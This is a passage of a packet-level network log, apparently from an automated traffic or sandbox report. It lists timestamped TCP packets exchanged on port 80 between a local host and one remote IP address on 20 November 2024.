Nov 20, 2024 09:14:54.409554958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409555912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409565926 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409569979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409583092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409594059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409598112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409610033 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409626007 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409641027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409653902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409681082 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409693956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409868002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409879923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409892082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409903049 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409907103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409914970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409919024 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409938097 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409965038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.410027027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410037994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410048008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410059929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410067081 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.410073042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410084009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410088062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.410095930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410118103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.410130024 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.410326004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410336971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410342932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410348892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410353899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410365105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410388947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.410407066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.410516024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.410556078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.492444038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.492516041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.492568970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.492580891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.492594004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.492605925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.492707968 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.492707968 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.492726088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.492738008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.492749929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.492765903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.492789984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.492918015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.492929935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.492940903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.492950916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.492959976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.492964983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.492980957 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493005991 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493089914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493102074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493113041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493124008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493128061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493135929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493144989 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493177891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493275881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493298054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493309021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493320942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493323088 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493333101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493340969 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493345976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493357897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493369102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493370056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493381023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493392944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493392944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493403912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493413925 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493416071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493436098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493443012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493454933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493458986 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493468046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493479013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493483067 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493489981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493504047 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493504047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493518114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493529081 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493535995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493541002 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493549109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493560076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493571043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493571043 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493577957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493590117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493592978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493606091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493618011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493619919 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493628979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493628979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493637085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493643045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493649006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493659019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493704081 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493740082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493752003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493771076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493778944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493782997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493794918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493803024 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493807077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493818998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493828058 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493829966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.493855953 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.493880987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698267937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698291063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698302984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698319912 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698323965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698335886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698348999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698349953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698365927 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698373079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698386908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698394060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698396921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698400974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698416948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698426962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698434114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698452950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698456049 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698462963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698474884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698487043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698493958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698498964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698507071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698512077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698528051 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698544979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698577881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698600054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698610067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698616982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698621988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698632956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698645115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698661089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698664904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698679924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698694944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698695898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698712111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698719978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698738098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698739052 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698749065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698751926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698765993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698772907 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698777914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698785067 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698791027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698807001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698822975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698828936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698839903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698842049 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698852062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698868036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698882103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698892117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698895931 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698905945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698924065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698930979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698937893 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698946953 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698956013 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698970079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.698982954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.698990107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699001074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699002028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699013948 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699016094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699043036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699059963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699069977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699081898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699093103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699104071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699104071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699121952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699151039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699160099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699177980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699191093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699193954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699208975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699223042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699234962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699248075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699259043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699274063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699279070 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699287891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699301958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699309111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699322939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699336052 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699357033 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699361086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699374914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699385881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699398041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699405909 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699421883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699450016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699460983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699472904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699479103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699489117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699490070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699502945 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699517012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699531078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699537992 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699538946 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699548960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699583054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699589014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699599981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699611902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699619055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699645996 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699659109 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699671030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699691057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699702024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699717999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699717999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699736118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699754953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699765921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699778080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699790001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699796915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699817896 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699845076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699928045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699948072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699959040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699970007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699971914 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.699980974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699994087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.699995041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700006008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700010061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700020075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700032949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700035095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700061083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700063944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700073957 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700099945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700102091 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700113058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700133085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700145006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700154066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700154066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700176001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700182915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700195074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700215101 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700215101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700253010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700263977 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700264931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700277090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700288057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700294971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700304985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700311899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700331926 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700359106 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700465918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700478077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700503111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700509071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700525999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700536966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700541973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700547934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700551987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700561047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700573921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700581074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700591087 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700594902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700607061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700618982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700618982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700634003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700644970 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700653076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700664043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700670004 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700689077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.700699091 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.700726986 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.786494017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.786547899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.786640882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.786653996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.786667109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.786678076 CET	80	49701	42.193.100.57	192.168.2.11
